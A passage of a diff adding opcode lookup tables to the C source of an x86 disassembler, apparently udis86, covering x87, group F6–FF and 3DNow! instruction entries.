itab__1byte__op_df__mod__op_01__x87[64] = { + /* 00 */ { UD_Iffreep, O_ST0, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iffreep, O_ST1, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iffreep, O_ST2, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iffreep, O_ST3, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iffreep, O_ST4, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iffreep, O_ST5, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iffreep, O_ST6, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iffreep, O_ST7, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Ifxch7, O_ST0, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Ifxch7, O_ST1, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Ifxch7, O_ST2, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Ifxch7, O_ST3, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Ifxch7, O_ST4, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Ifxch7, O_ST5, O_NONE, O_NONE, P_none }, + /* 0E */ { UD_Ifxch7, O_ST6, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Ifxch7, O_ST7, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Ifstp8, O_ST0, O_NONE, O_NONE, P_none }, + /* 11 */ { UD_Ifstp8, O_ST1, O_NONE, O_NONE, P_none }, + /* 12 */ { UD_Ifstp8, O_ST2, O_NONE, O_NONE, P_none }, + /* 13 */ { UD_Ifstp8, O_ST3, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Ifstp8, O_ST4, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Ifstp8, O_ST5, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Ifstp8, O_ST6, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Ifstp8, O_ST7, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Ifstp9, O_ST0, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Ifstp9, O_ST1, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Ifstp9, O_ST2, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Ifstp9, O_ST3, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Ifstp9, O_ST4, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Ifstp9, O_ST5, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Ifstp9, O_ST6, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Ifstp9, O_ST7, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Ifnstsw, O_AX, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Ifucomip, O_ST0, O_ST0, O_NONE, P_none }, + /* 29 */ { UD_Ifucomip, O_ST0, O_ST1, O_NONE, P_none }, + /* 2A */ { UD_Ifucomip, O_ST0, O_ST2, O_NONE, P_none }, + /* 2B */ { UD_Ifucomip, O_ST0, O_ST3, O_NONE, P_none }, + /* 2C */ { UD_Ifucomip, O_ST0, O_ST4, O_NONE, P_none }, + /* 2D */ { UD_Ifucomip, O_ST0, O_ST5, O_NONE, P_none }, + /* 2E */ { UD_Ifucomip, O_ST0, O_ST6, O_NONE, P_none }, + /* 2F */ { UD_Ifucomip, O_ST0, O_ST7, O_NONE, P_none }, + /* 30 */ { UD_Ifcomip, O_ST0, O_ST0, O_NONE, P_none }, + /* 31 */ { UD_Ifcomip, O_ST0, O_ST1, O_NONE, P_none }, + /* 32 */ { UD_Ifcomip, O_ST0, O_ST2, O_NONE, P_none }, + /* 33 */ { UD_Ifcomip, O_ST0, O_ST3, O_NONE, P_none }, + /* 34 */ { UD_Ifcomip, O_ST0, O_ST4, O_NONE, P_none }, + /* 35 */ { UD_Ifcomip, O_ST0, O_ST5, O_NONE, P_none }, + /* 36 */ { UD_Ifcomip, O_ST0, O_ST6, O_NONE, P_none }, + /* 37 */ { UD_Ifcomip, O_ST0, O_ST7, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_e3__asize[3] = { + /* 00 */ { UD_Ijcxz, O_Jb, O_NONE, O_NONE, P_aso }, + /* 01 */ { UD_Ijecxz, O_Jb, O_NONE, O_NONE, P_aso }, + /* 02 */ { UD_Ijrcxz, O_Jb, O_NONE, O_NONE, P_aso }, +}; + +static struct ud_itab_entry itab__1byte__op_f6__reg[8] = { + /* 00 */ { UD_Itest, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Itest, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Inot, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ineg, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Imul, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Iimul, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Idiv, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Iidiv, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_f7__reg[8] = { + /* 00 */ { UD_Itest, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Itest, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Inot, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ineg, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Imul, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Iimul, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Idiv, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Iidiv, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_fe__reg[8] = { + /* 00 */ { UD_Iinc, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Idec, O_Eb, O_NONE, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_ff__reg[8] = { + /* 00 */ { UD_Iinc, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Idec, O_Ev, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Icall, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Icall, O_Ep, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ijmp, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ijmp, O_Ep, O_NONE, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ipush, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__3dnow[256] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 11 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 12 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 50 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 51 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 52 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 53 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 54 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 55 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 56 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 57 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 58 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 59 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 5A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 5B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 5C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 5D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 5E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 5F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 60 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 61 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 62 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 63 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 68 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 69 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 70 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 71 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 72 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 73 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 74 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 75 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 76 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EA */ { UD_Iinvalid, O_NONE, 